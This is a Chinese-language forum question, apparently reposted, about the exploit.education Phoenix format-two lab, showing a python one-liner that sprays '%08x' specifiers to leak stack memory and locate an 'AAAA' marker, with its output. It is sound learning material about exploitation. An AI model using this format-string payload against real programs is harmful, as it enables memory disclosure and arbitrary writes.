如何解决如何正确地从格式字符串利用中读取内存
我正在尝试解决有关格式字符串利用的问题,在该问题中我必须覆盖特定地址中的任何内容。由于目标地址开头有一个空字节,所以我需要写在格式字符串的末尾,而且我想定位我的格式字符串的最后4个字节在哪里,所以我只是做了一些格式字符串
"%08x " * whatever_integer + "AAAA"
直到我发现 0x41414141 形式的内存泄漏。
但是,我始终无法获得正确的“AAAA”输出。例如,如果我使用 35 的因子,则会得到以下结果:
$ ./format-two "`python -c 'print "%08x " * 35 + "AAAA"'`"
Welcome to phoenix/format-two,brought to you by https://exploit.education
00000000 0000004d ffffe83b 01010101 ffffe49f ffffe4e0 ffffe4e0 ffffe5e0 00400705 ffffe638 00400368 78383025 30252078
20783830 38302520 25207838 78383025 30252078 20783830 38302520 25207838 78383025 30252078 20783830 38302520 25207838
78383025 30252078 20783830 38302520 25207838 78383025 30252078 00414141 00000000 AAAABetter luck next time!
正如所见,我只得到三个 0x41,因此尽管它应该位于连续的内存位置,但其中一个丢失了。如果我以 40 倍的因子重复该过程,它会突然按预期运行:
$ ./format-two "`python -c 'print "%08x " * 40 + "AAAA"'`"
Welcome to phoenix/format-two,brought to you by https://exploit.education
00000000 00000034 ffffe822 01010101 ffffe48f ffffe4d0 ffffe4d0 ffffe5d0 00400705 ffffe628 00400368 78383025 30252078
20783830 38302520 25207838 78383025 30252078 20783830 38302520 25207838 78383025 30252078 20783830 38302520 25207838
78383025 30252078 20783830 38302520 25207838 78383025 30252078 20783830 38302520 25207838 41414141 00000000 00000000
00000000 AAAABetter luck next time!
为什么会这样?是否有使用格式字符串的确切方法,以便正确打印内存?
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。